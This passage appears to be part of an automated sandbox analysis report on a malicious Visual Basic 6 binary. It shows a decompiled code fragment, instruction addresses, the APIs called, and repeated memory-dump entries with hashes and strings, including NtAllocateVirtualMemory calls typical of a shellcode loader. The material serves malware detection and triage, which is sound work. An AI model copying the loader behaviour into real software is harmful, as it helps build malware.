      					}
      					_t53 = _v44;
      					_t75 = _t53;
      					_t46 =  *((intOrPtr*)( *_t53 + 0x68))(_t53,  &_v128);
      					asm("fclex");
      					if(_t46 < 0) {
      						_push(0x68);
      						_push(0x41084c);
      						_push(_t75);
      						_push(_t46);
      						L004014C2();
      					}
      					L004014BC();
      					_push(L"hakkemadens");
      					L004013F0();
      				}
      				_push(0);
      				L004013EA();
      				_push(0x414de7);
      				L0040149E();
      				return _t46;
      			}
































      0x00414c23
      0x00414c26
      0x00414c31
      0x00414c32
      0x00414c42
      0x00414c45
      0x00414c4e
      0x00414c51
      0x00414c54
      0x00414c57
      0x00414c5a
      0x00414c5d
      0x00414c60
      0x00414c63
      0x00414c66
      0x00414c69
      0x00414c72
      0x00414c77
      0x00414c7e
      0x00414c8b
      0x00414c93
      0x00414c97
      0x00414c98
      0x00414c9d
      0x00414ca4
      0x00414cae
      0x00414caf
      0x00414cb2
      0x00414cb3
      0x00414cbe
      0x00414cbf
      0x00414cc2
      0x00414cc3
      0x00414cc5
      0x00414cd0
      0x00414cd6
      0x00414cdc
      0x00414cde
      0x00414ce3
      0x00414ce8
      0x00414ce8
      0x00414ced
      0x00414cfa
      0x00414cfd
      0x00414d01
      0x00414d03
      0x00414d05
      0x00414d0a
      0x00414d0b
      0x00414d0c
      0x00414d0c
      0x00414d11
      0x00414d14
      0x00414d1d
      0x00414d23
      0x00414d27
      0x00414d29
      0x00414d2e
      0x00414d33
      0x00414d34
      0x00414d35
      0x00414d35
      0x00414d3d
      0x00414d42
      0x00414d48
      0x00414d4a
      0x00414d4f
      0x00414d54
      0x00414d54
      0x00414d59
      0x00414d66
      0x00414d69
      0x00414d6d
      0x00414d6f
      0x00414d71
      0x00414d76
      0x00414d77
      0x00414d78
      0x00414d78
      0x00414d7d
      0x00414d80
      0x00414d89
      0x00414d8c
      0x00414d90
      0x00414d92
      0x00414d94
      0x00414d99
      0x00414d9a
      0x00414d9b
      0x00414d9b
      0x00414da3
      0x00414da8
      0x00414dad
      0x00414dad
      0x00414db2
      0x00414db3
      0x00414db8
      0x00414de1
      0x00414de6

      APIs
      • __vbaStrCopy.MSVBVM60 ref: 00414C72
      • __vbaVarDup.MSVBVM60 ref: 00414C8B
      • #553.MSVBVM60(?,?), ref: 00414C98
      • __vbaVarTstNe.MSVBVM60(00008002,?,?,?), ref: 00414CB3
      • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?), ref: 00414CC5
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00414CE8
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00414D0C
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000B8), ref: 00414D35
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000B8), ref: 00414D3D
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00414D54
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00414D78
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000068), ref: 00414D9B
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000068), ref: 00414DA3
      • #532.MSVBVM60(hakkemadens), ref: 00414DAD
      • __vbaOnError.MSVBVM60(00000000), ref: 00414DB3
      • __vbaFreeStr.MSVBVM60(00414DE7,00000000), ref: 00414DE1
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckFreeHresult$New2$#532#553CopyErrorList
      • String ID: 01/01/01$hakkemadens
      • API String ID: 3829860097-3928635006
      • Opcode ID: f4e8a85c7f2848fbfd634ad84e9e7f1474cfe6ebf77d5d28d03a5e6b3f9a6e05
      • Instruction ID: 901092d5f514f49cb08c02e55fc60274f267f7214c3a924b378c32da3b36914c
      • Opcode Fuzzy Hash: f4e8a85c7f2848fbfd634ad84e9e7f1474cfe6ebf77d5d28d03a5e6b3f9a6e05
      • Instruction Fuzzy Hash: BD414E71D40208ABDB10EFA5D885EDEBBB8EF54704F24456BF404B71A1D7B85485CBA8
      Uniqueness

      Uniqueness Score: -1.00%

      Non-executed Functions

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$Aun$\^K$]~$n$yOf$S$-f$1Q$^r$h.
      • API String ID: 0-3393802103
      • Opcode ID: 7c0e36e67e54e05cfd06b9e1e99c74da986aaca2a1eef1b4c5796ab760942bd0
      • Instruction ID: ac04e35918118d0c33e45c4c450caced839229fee42bb6e7e3abc7ebf679a26a
      • Opcode Fuzzy Hash: 7c0e36e67e54e05cfd06b9e1e99c74da986aaca2a1eef1b4c5796ab760942bd0
      • Instruction Fuzzy Hash: 6A5298362043458FDB34DE698DA53EE77A2EFC5360F64826FCC499B250E7328586CB46
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$./`$Aun$]~$yOf$S$-f$1Q$^r$h.
      • API String ID: 0-3765600059
      • Opcode ID: 3cc2d3b8859dd3e7be2782b7a892ac93b1d21488c6b6702dbc50e1eb3aeb4ee6
      • Instruction ID: f741f412716582e4f3244a8edd2b749a2143a5fb06291254fab9d153394ac9f6
      • Opcode Fuzzy Hash: 3cc2d3b8859dd3e7be2782b7a892ac93b1d21488c6b6702dbc50e1eb3aeb4ee6
      • Instruction Fuzzy Hash: 3103547160434A8FDB34DE28CD957EA77B2FF89360F55822EDC898B250E7318986CB41
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$:;A}$O{R$]~$S$1Q$h.$y3
      • API String ID: 0-3197821423
      • Opcode ID: a2867a41543c9cebdf65ce4f13099c87fde2912368a7034e7cbde02750499dc5
      • Instruction ID: e6f162924ba27ed0b7777ea7a8950f15cc9af1b3a3061c11c8c55785ddc54936
      • Opcode Fuzzy Hash: a2867a41543c9cebdf65ce4f13099c87fde2912368a7034e7cbde02750499dc5
      • Instruction Fuzzy Hash: 40922FB16043499FDB349E38CD997DA7BB2FF55350F95822DDC899B214E3308A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: Aun$G'4$OiS$yOf$-f$7P$^r$tL
      • API String ID: 2167126740-2844616746
      • Opcode ID: 08c38a92382b4c18bc8776c0774918ff042e21a11f592253a490492468865906
      • Instruction ID: 9b8eb6bb072564452644c55ac1bd07011010e94b30d674d5c648512845cc0c44
      • Opcode Fuzzy Hash: 08c38a92382b4c18bc8776c0774918ff042e21a11f592253a490492468865906
      • Instruction Fuzzy Hash: 54B2BB726043898FDB34DE38CD953EE77A2EF95360F55816ECC899B241E7318986CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$\^K$]~$S$1Q$h.
      • API String ID: 0-3281850800
      • Opcode ID: 8a02c7a81b50fb68ce7046812a82b32dfdf5149097089cb6fd43469102fcfd41
      • Instruction ID: a6923064ec3c71e4f5eb2c6105c8b8387b13dc4995acedffd09de300e5226659
      • Opcode Fuzzy Hash: 8a02c7a81b50fb68ce7046812a82b32dfdf5149097089cb6fd43469102fcfd41
      • Instruction Fuzzy Hash: F98222766043499FDB349F39CD997EA77B2EF95360F95822DCC898B214D3308686CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateFlagsMemoryVirtual
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 1695067276-3053668793
      • Opcode ID: 63450308328bc4451629b78ea7eef97ad8b3d9cfcbf378d781408ef2dc0d806a
      • Instruction ID: d23e57bf567effd9bf9401993651a6bf149a415e35fab01657d8ed3450198e73
      • Opcode Fuzzy Hash: 63450308328bc4451629b78ea7eef97ad8b3d9cfcbf378d781408ef2dc0d806a
      • Instruction Fuzzy Hash: D0821E716043899FDB349E38CD997DBBBB2EF95350F85822DCC899B254D3344A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: b5840c8bf0527cfecbaef304b47a943fd68c536d7cced0539e3d537704119384
      • Instruction ID: b68d404f491afc8e8392bc63f05dbfd3cbfc8cdef92552818d7d829d2664ea7f
      • Opcode Fuzzy Hash: b5840c8bf0527cfecbaef304b47a943fd68c536d7cced0539e3d537704119384
      • Instruction Fuzzy Hash: CA621DB16043499FDB349E38CD997DA7BB2FF99350F85422DDC899B214D3344A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: be714f46abb11d5af7bc30569911bee3e96bc979b40959fdb10b5b93ae44a45f
      • Instruction ID: f2f00b96bb31c9bf4f208c882449d6cf7c318b6007e586e7170a91498831f8ce
      • Opcode Fuzzy Hash: be714f46abb11d5af7bc30569911bee3e96bc979b40959fdb10b5b93ae44a45f
      • Instruction Fuzzy Hash: 47622DB56043899FDB349E38CD997DA7BB2FF55350F85422DDC899B224D3304A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: c33072779baba58967225449cc0597c5276db0dba9b6e70479f0803640bd51fd
      • Instruction ID: 5425931c23492fb5670fbfd31faa9a213892c523eb45dd7da4d60134231a68ff
      • Opcode Fuzzy Hash: c33072779baba58967225449cc0597c5276db0dba9b6e70479f0803640bd51fd
      • Instruction Fuzzy Hash: 84620EB56043899FDB349E38CD997DA7BB2FF95350F85822DDC898B214D3344A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: b6b701f8784d7bd0f4cfdb5f409a0ef4e72191f70f6ea1c5a5bf83680232fcc4
      • Instruction ID: effa874957b99e9bae0b794d0723e63c8a0c3fbe3e3774279740f926ae8f80a5
      • Opcode Fuzzy Hash: b6b701f8784d7bd0f4cfdb5f409a0ef4e72191f70f6ea1c5a5bf83680232fcc4
      • Instruction Fuzzy Hash: 39621EB56043899FDB349E38CD997DA7BB2FF95350F85422DDC898B214D3304A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: 5b0b02ee3151356281654a195ddf9d82a652247dc4556b9e9ffc0b2e0ac05419
      • Instruction ID: 4c1d89a9c62356476f8d9125a26cbb8bbd387f63efa08619330225afc79ab3f0
      • Opcode Fuzzy Hash: 5b0b02ee3151356281654a195ddf9d82a652247dc4556b9e9ffc0b2e0ac05419
      • Instruction Fuzzy Hash: 7F620CB56043899FDB349E38CD997DA7BB2FF95350F85422DDC898B214E3344A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 0-3053668793
      • Opcode ID: 17af09d8ff49a39fdcf8c45a7382a99b993751bad96285aa7c2e1425143c2a7e
      • Instruction ID: 44857773490b76e1fa56ea3bfa94a9e76380e49e8f893a7ab9e5057ebd00671a
      • Opcode Fuzzy Hash: 17af09d8ff49a39fdcf8c45a7382a99b993751bad96285aa7c2e1425143c2a7e
      • Instruction Fuzzy Hash: 9E4244766043499FDB34CF39CD897EA77B2FF99360F558229DC898B250D33186868B41
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: Aun$dNI[$yOf$-f$^r
      • API String ID: 2167126740-2921421043
      • Opcode ID: ba716ce1053b40e33db6c70fec7ed4731ffc307a6457556177da9ab76e81c983
      • Instruction ID: a88df531731153aa7a16415491bd549c18f336089bd3fa6e772c38327b629ed0
      • Opcode Fuzzy Hash: ba716ce1053b40e33db6c70fec7ed4731ffc307a6457556177da9ab76e81c983
      • Instruction Fuzzy Hash: C25288363043468FDB30DE699D957EEB7A2EFC5760F60816EDC498B250E7328586CB06
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: Aun$CB2/$yOf$-f$^r
      • API String ID: 2167126740-3364960500
      • Opcode ID: e5b66c295d134bd550291643ec6484289c43815c047eb5124f6d0076ffceacde
      • Instruction ID: ecd7677ff07cd0335ce55ebe14d9ca548f8a960e4dbfab1e78af71cc5b8bfaba
      • Opcode Fuzzy Hash: e5b66c295d134bd550291643ec6484289c43815c047eb5124f6d0076ffceacde
      • Instruction Fuzzy Hash: 1042AD362043458FDB20DE699DA53EE73A3DFC5770FA0826FDC499B250E73285868746
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: Aun$yOf$-f$^r
      • API String ID: 0-2819699058
      • Opcode ID: 04d2817b9b6ec7587e94869c6b0942eff0a5e8125e1c836115ba97b5fee274c9
      • Instruction ID: f4fbc0a16572afa181fbf73202bf6beb39ad1519d1a6511b2ff772611901724c
      • Opcode Fuzzy Hash: 04d2817b9b6ec7587e94869c6b0942eff0a5e8125e1c836115ba97b5fee274c9
      • Instruction Fuzzy Hash: 942279363083458FDB20DE699D953EEB3A2EFC9770F60826FDC459B250E732458A8746
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: Aun$yOf$-f$^r
      • API String ID: 0-2819699058
      • Opcode ID: 12bc27ed162430d3ab0fb5935f5afe58f533412f6e3b28a342604d0cbdf4dbd4
      • Instruction ID: 0367fb51760482a4d3be9e058d5e6cf81e821c8aac8ec8f9502e07c01c977606
      • Opcode Fuzzy Hash: 12bc27ed162430d3ab0fb5935f5afe58f533412f6e3b28a342604d0cbdf4dbd4
      • Instruction Fuzzy Hash: D422AC362083458FDB24DE699D953EEB3A3DFC5770F6081AFCC459B250EB32458A874A
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: Aun$yOf$-f$^r
      • API String ID: 2167126740-2819699058
      • Opcode ID: 7b616eeedbea1775c4dabf5eff31024ff5a4660982c8446949e0cf334982fbe7
      • Instruction ID: cd5e244fdb12545ae97c25186004a5239948a81846f791787ce66a973547d8e1
      • Opcode Fuzzy Hash: 7b616eeedbea1775c4dabf5eff31024ff5a4660982c8446949e0cf334982fbe7
      • Instruction Fuzzy Hash: EB128B363483458FDB20DE699D953FEB3A2DFC5770F6082AFCC459B250EB3245868646
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: Aun$yOf$-f$^r
      • API String ID: 2167126740-2819699058
      • Opcode ID: 8ffa644592172b326461db7d49f41ccb1567e91141e0e96a178c6b789eab4bea
      • Instruction ID: d9dec746152982439c7aef4cd929ed1f8bd0c7bcfbaad697b7ce7ab7dda9fedf
      • Opcode Fuzzy Hash: 8ffa644592172b326461db7d49f41ccb1567e91141e0e96a178c6b789eab4bea
      • Instruction Fuzzy Hash: FC02AE362083458FDB20DE699D953FEB7A2DFC9770F60826FDC459B250DB32448A874A
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: Aun$yOf$-f$^r
      • API String ID: 0-2819699058
      • Opcode ID: c5d315cf9e4046c28de98c8fadce3e77f51e68f989ba762fa30c6aeabd49bb1a
      • Instruction ID: 1adfbfb1171d6b9a2b990b892aeac373d4ec8f98283f9a9b5003809d8f07ce82
      • Opcode Fuzzy Hash: c5d315cf9e4046c28de98c8fadce3e77f51e68f989ba762fa30c6aeabd49bb1a
      • Instruction Fuzzy Hash: 55028C362083458FDB20DE699D953FEB7A2DFC9770F6082AFCC459B250DB32458A8746
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ++m3$]~$S$1Q
      • API String ID: 0-846932031
      • Opcode ID: 4e0a9e1a0817b6c568fead8b42b6ef6c330b87b4e31e4f95516088a2fe145261
      • Instruction ID: 3fc5c43ca6387b6ff3d1d4cb0a1f0d0c67069d8f717c80746148b20d4976ecb0
      • Opcode Fuzzy Hash: 4e0a9e1a0817b6c568fead8b42b6ef6c330b87b4e31e4f95516088a2fe145261
      • Instruction Fuzzy Hash: 232210B6604389DFDB348E38CD997DA7BB2FF59350F854129DC898B214D3748A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: Aun$yOf$-f$^r
      • API String ID: 0-2819699058
      • Opcode ID: 8a28659c68665dd9286428e7465b4e9782c34d0bf4c06c7eee83e1205abbb8a9
      • Instruction ID: cd26ff48dbb7ac2b112d9543839d844abeb95eeaf3c3b2cd8e1fe163122b2b35
      • Opcode Fuzzy Hash: 8a28659c68665dd9286428e7465b4e9782c34d0bf4c06c7eee83e1205abbb8a9
      • Instruction Fuzzy Hash: E6D1173B3583464FE714CA5A6E563FDF3A2DFC9771B21C2ABD4015B251DB22408A829E
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: Aun$yOf$-f$^r
      • API String ID: 0-2819699058
      • Opcode ID: 2d288fabbb8939c7f6e4a3ce0371bdbad5e1345b568544fbda47c0f4371991ce
      • Instruction ID: 7d092742f3bebdf0aac5232ea21c4117ba9c6be3c2c042211584bdad29acf05c
      • Opcode Fuzzy Hash: 2d288fabbb8939c7f6e4a3ce0371bdbad5e1345b568544fbda47c0f4371991ce
      • Instruction Fuzzy Hash: 71B14A3B3483468FE720CA596D963FDB3A2DFC5771B30C2AFD8055B251DB22408B8699
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: G'4$7P$tL
      • API String ID: 2167126740-1325253939
      • Opcode ID: 4241748904242a3cbcf6211634664f7cb04fbb2485ae7c6fe86ec5c75c11fb96
      • Instruction ID: f77a776b6eac2e89c0553f3b5b88a0103c1ca8f83063d9ad5f02d55920b1879b
      • Opcode Fuzzy Hash: 4241748904242a3cbcf6211634664f7cb04fbb2485ae7c6fe86ec5c75c11fb96
      • Instruction Fuzzy Hash: 68229A766043898FDB34DE28CD593EE77A2EF95360F59816ECC898B240E7319586CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: G'4$7P$tL
      • API String ID: 0-1325253939
      • Opcode ID: 5ae3e6952edc9420d4a36c61b8548cb0c08a982f45fb847fdc7db4d8b4b5ee33
      • Instruction ID: 99eec40e9d8763381417896a493b639d22905fcb73ed52bf0faf8231854469ed
      • Opcode Fuzzy Hash: 5ae3e6952edc9420d4a36c61b8548cb0c08a982f45fb847fdc7db4d8b4b5ee33
      • Instruction Fuzzy Hash: 810269716043899FDF349E38CC983EE7BA2AF55350F59416ECC8D9B245E3319685CB12
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ]'b-$s(]~
      • API String ID: 0-4068572200
      • Opcode ID: 9ec605172a4203b2c975e91c9688b1d0f3ff648b7b0bb419408d2857540e9e17
      • Instruction ID: 3aebbbc98a7c777f9dafb37c369c6a430436d2f60c1415955fd840c40747b2ab
      • Opcode Fuzzy Hash: 9ec605172a4203b2c975e91c9688b1d0f3ff648b7b0bb419408d2857540e9e17
      • Instruction Fuzzy Hash: 8C4205316087858FDB35CF38C9947DA7BE2AF56350F49C2AACC998F296E3348546C712
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: 7P$tL
      • API String ID: 0-1062614984
      • Opcode ID: 6af6bd44e3c928e8df812e42f2f7fc65b1f953413459a2c80ae5713978881ad1
      • Instruction ID: d694807075260d7431e5a292e97e45cc08f693232971f7f427555bcd5d9e3fbd
      • Opcode Fuzzy Hash: 6af6bd44e3c928e8df812e42f2f7fc65b1f953413459a2c80ae5713978881ad1
      • Instruction Fuzzy Hash: F6F19A716043899FDF34AE78CD943EE7BA2AF55360F59455ECC8D8B245E3309A89CB02
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ]'b-$s(]~
      • API String ID: 0-4068572200
      • Opcode ID: 293bd5b70615e634528e959436dd7ac2fb1ebcbb02b47e5d5a851a480e0cd33e
      • Instruction ID: 8d9ba2646dcc2fa3f551e003deda51588dcb543c7669325b58786cf6e335faec
      • Opcode Fuzzy Hash: 293bd5b70615e634528e959436dd7ac2fb1ebcbb02b47e5d5a851a480e0cd33e
      • Instruction Fuzzy Hash: 404126329046898FDF70DE38C8D43DBBBA2EFA6350F548269CC989B299E7309546C711
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ]'b-$s(]~
      • API String ID: 0-4068572200
      • Opcode ID: da3b5ab209d207656c655a089d7c0892c2377040e6170ffd52f8678d1e36878d
      • Instruction ID: 0605625ac4fc3ed1cee058ac3db2e19b8a732d62087f99b2610f48e003678959
      • Opcode Fuzzy Hash: da3b5ab209d207656c655a089d7c0892c2377040e6170ffd52f8678d1e36878d
      • Instruction Fuzzy Hash: C04114329046898BDF70CE35CCD53DBBBA2EF96350F54C259CC988B299E7309546C711
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: H
      • API String ID: 0-2852464175
      • Opcode ID: 42ae36cd54fa39810b975d11cd2c0bfe1098f84e25b052769b6d79cc825a1361
      • Instruction ID: 4e7b65235704bd5ab84bcd7a55a005ba3c3a4105d1d4c6b0d79e1938f5224d56
      • Opcode Fuzzy Hash: 42ae36cd54fa39810b975d11cd2c0bfe1098f84e25b052769b6d79cc825a1361
      • Instruction Fuzzy Hash: F9E1337260034ADFDB34CE28DDA47DA77A2FF49360F95426EDC498B241E7319A42CB50
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
        • Part of subcall function 02BD65A4: NtAllocateVirtualMemory.NTDLL ref: 02BD671A
      • WerSetFlags.KERNEL32 ref: 02BD2359
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateFlagsMemoryVirtual
      • String ID:
      • API String ID: 1695067276-0
      • Opcode ID: 965641fbad8c16a16a254225733c6b127e87fbf2998b51a179f4347601cb77ad
      • Instruction ID: fd3d3a65230e9ba22f68bc34c27a486ea3689f2f9142d331bc74da28c1d1cf26
      • Opcode Fuzzy Hash: 965641fbad8c16a16a254225733c6b127e87fbf2998b51a179f4347601cb77ad
      • Instruction Fuzzy Hash: F7310E702043489FCB34AE748E907EF77A3EF85290FA5402DDD8A9B116E3344A86DA12
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ]~
      • API String ID: 0-4226475528
      • Opcode ID: a48dad0b5a30bb0dd35297054e7622e9bab7d6b2166d264d1e644b43f8c22b4c
      • Instruction ID: 281abd012cc6a79c503b169306908447eabe68e8e91f8b59767d3358f6665a8d
      • Opcode Fuzzy Hash: a48dad0b5a30bb0dd35297054e7622e9bab7d6b2166d264d1e644b43f8c22b4c
      • Instruction Fuzzy Hash: 22A145763443498FEB34CE29DD867EE73B2EFD8360F51826ADC098B260D732458A8745
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: OiS
      • API String ID: 0-1986348721
      • Opcode ID: ba9bb0d2591611c1bb14adce0b663af38a69df4ef328cedee5dfd2e73bd7d5bc
      • Instruction ID: 4450fe2dce296e309b1574f4c82761fa69d3b8de552043516bf211bbc6663981
      • Opcode Fuzzy Hash: ba9bb0d2591611c1bb14adce0b663af38a69df4ef328cedee5dfd2e73bd7d5bc
      • Instruction Fuzzy Hash: 3091477260438A8FDB24DF39C9687DB37B2EF55380F5A416DDC899B219E7318A44CB42
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: OiS
      • API String ID: 0-1986348721
      • Opcode ID: d21c431738467135eea8b101908edb9f4cb5edcb18112bbce572203fa0ecc537
      • Instruction ID: 9c314a02f8e4273f040bf9576224870cfeb755a6dcecd17b008a5d99a2d662ae
      • Opcode Fuzzy Hash: d21c431738467135eea8b101908edb9f4cb5edcb18112bbce572203fa0ecc537
